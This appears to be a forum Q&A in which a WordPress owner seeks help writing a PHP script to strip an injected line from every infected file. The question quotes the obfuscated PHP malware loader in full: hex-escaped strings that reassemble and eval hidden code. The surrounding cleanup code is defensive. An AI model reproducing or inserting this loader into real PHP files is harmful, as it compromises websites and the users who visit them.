Removing a string in a PHP file with Start and End

Question

I'm trying to clean a WordPress which has been infected by an exploit.

All php files were added a line like this at the beginning of it :

<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $yaagutonoj = 'Qtpz)#]341]88M4P8]37]278]225]241]334]3672%164") && (!isset($GLOBALS["%x61%156%x75%156%x61"])))) 25)utjm!|!*5!%x5c%x7827!hmg%y81]265]y72]254]y76#<%x5c%x7825tmw!>!#]y84]27]25%x5c%x7824-%x5c%x7824-!%x5c%x7825%x5c%x7824-%x5c%xc^>Ew:Qb:Qc:W~!%x5c%x7825z!>2<!gps)%x5c7,18R#>q%x5c%x7825V<*#fop60gvodujpo)##-!#~<#%x5c%x782f%x5c%xx782fh%x5c%x7825)n%x5c%x7825-#+I#)0~:<h%x5c%x7825_t%x5c%x7825:osvufs:~5c%x7825%x5c%x7878:-6M7]K3#<%x5c%x7825yy>#]D6]281L1#%x5c%x782%x7825!<**3-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt5c%x7825!*3>?*2b%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%x7825-#1GO%x5c%x7822)gj}l;33bq}k;opjudovg}%x5c%x7878;0]=])0#)U!%x5c%x7827{**u%x5c%x782place("%x2f%50%x2e%52%x29%57%x65",x5c%x7825)!gj!|!*1?hmg%x5c%x7825)!gj!<**2-4-bubE{h%x5c%x7825)su6%x21%50%x5c%x7825%x5c%x7878:!>#]y3g]61]y3f]63]y3:]68]y76#<%x5c%x78}X%x5c%x7824<!%x5c%x7825tzw>!#]y7)fepdof.)fepdof.%x5c%x782f#@#%x5c%x782fqp%x5c%x7825>5)qj3hopmA%x5c%x78273qj%x5c%x78256<*Y%xx5c%x7825)euhA)3of>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x782f#c%x787fw6*CW&)7gj6<*K)ftpmdX^%x5c%x7824-%x5c%x7824tvctus)%x5c%x7825%x5c%x78287f_*#ujojRk3%x5c%x7860{6667824-%x5c%x7824gvodujpo!%x5c%x7824-%x5c%x7824y7%x5c%x7824-%x5cqp%x5c%x7825!|Z~!<##!>!2p%%x5c%x7825s:*<%x5c%x7825j:,,Bjg!)%x5c%x7825j:>>1*!%x5c%x7825b:>1<7]D4]275]D:M8]Df#<%x5c%x7825tdz>#L4]x5c%x7825)3of)fepdof%x5c%x7"%x65%166%x61%154%x28%151%x6d%160%x6c%157%x64%145%x28%141%x72%162%x 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$nibnkcwalu=substr($yaagutonoj,(49971-39865),(41-34)); if (!function_exists('twwdyxiyuj')) { function twwdyxiyuj($gfkbogqkzl, $xpwveotxbw) { $bepljhengq = NULL; for($oznuhtwycd=0;$oznuhtwycd<(sizeof($gfkbogqkzl)/2);$oznuhtwycd++) { $bepljhengq .= substr($xpwveotxbw, $gfkbogqkzl[($oznuhtwycd*2)],$gfkbogqkzl[($oznuhtwycd*2)+1]); } return $bepljhengq; };} $azydrlsozu="\x20\57\x2a\40\x73\152\x76\152\x63\167\x61\147\x65\160\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\63\x35\55\x31\71\x38\51\x29\54\x20\143\x68\162\x28\50\x35\71\x36\55\x35\60\x34\51\x29\54\x20\164\x77\167\x64\171\x78\151\x79\165\x6a\50\x24\163\x61\166\x74\150\x64\153\x69\152\x62\54\x24\171\x61\141\x67\165\x74\157\x6e\157\x6a\51\x29\51\x3b\40\x2f\52\x20\145\x63\141\x6f\156\x74\151\x6a\146\x6c\40\x2a\57\x20"; $xpkuyrwixg=substr($yaagutonoj,(30604-20491),(47-35)); $xpkuyrwixg($nibnkcwalu, $azydrlsozu, NULL); $xpkuyrwixg=$azydrlsozu; $xpkuyrwixg=(455-334); $yaagutonoj=$xpkuyrwixg-1; ?>

The content of this line is random for each files, but they all start with <?php if(!isset($GLOBALS[ and ends with -1; ?>.

I'm trying to create a PHP file removing this line to all my files.

Here's what I've done now :

<?php

$dir_iterator = new RecursiveDirectoryIterator(dirname(__FILE__));
$iterator = new RecursiveIteratorIterator($dir_iterator);
$infected = 0;
$clean = 0;
foreach ($iterator as $file) {
if($file->getExtension() == 'php'){
    $f = fopen($file->getPathname(), 'r+');

    $start = '<?php if(!isset($GLOBALS[';
    $end = '-1; ?>';

    if(fgets($f, 26) == '<?php if(!isset($GLOBALS[')
    {
        echo '<p style="color: red;"> The file '. $file->getPathname() . ' is infected ! </p>';

        // Don't know what to do here

        $infected++;            
    }
    else
    {
        echo '<p style="color: green;"> The file '. $file->getPathname() . ' is clean ! </p>';
        $clean++;
    }


}

}

echo $infected.' files infected <br />';
echo $clean. ' files clean.';

?>

But I'm not very eased with file editing in PHP, so I would like to remove the line starting with my $start and ending with my $end .

I'm a bit lost with fseek, fwrite in the PHP doc, and don't really know which one I should use and how.

Waiting for your help :) !

Answer 1

I had once to deal with this problem and I finally had to create an script to remove all lines from the /var/www directory.

You can see here https://stackoverflow.com/a/26285498/3000681

regards.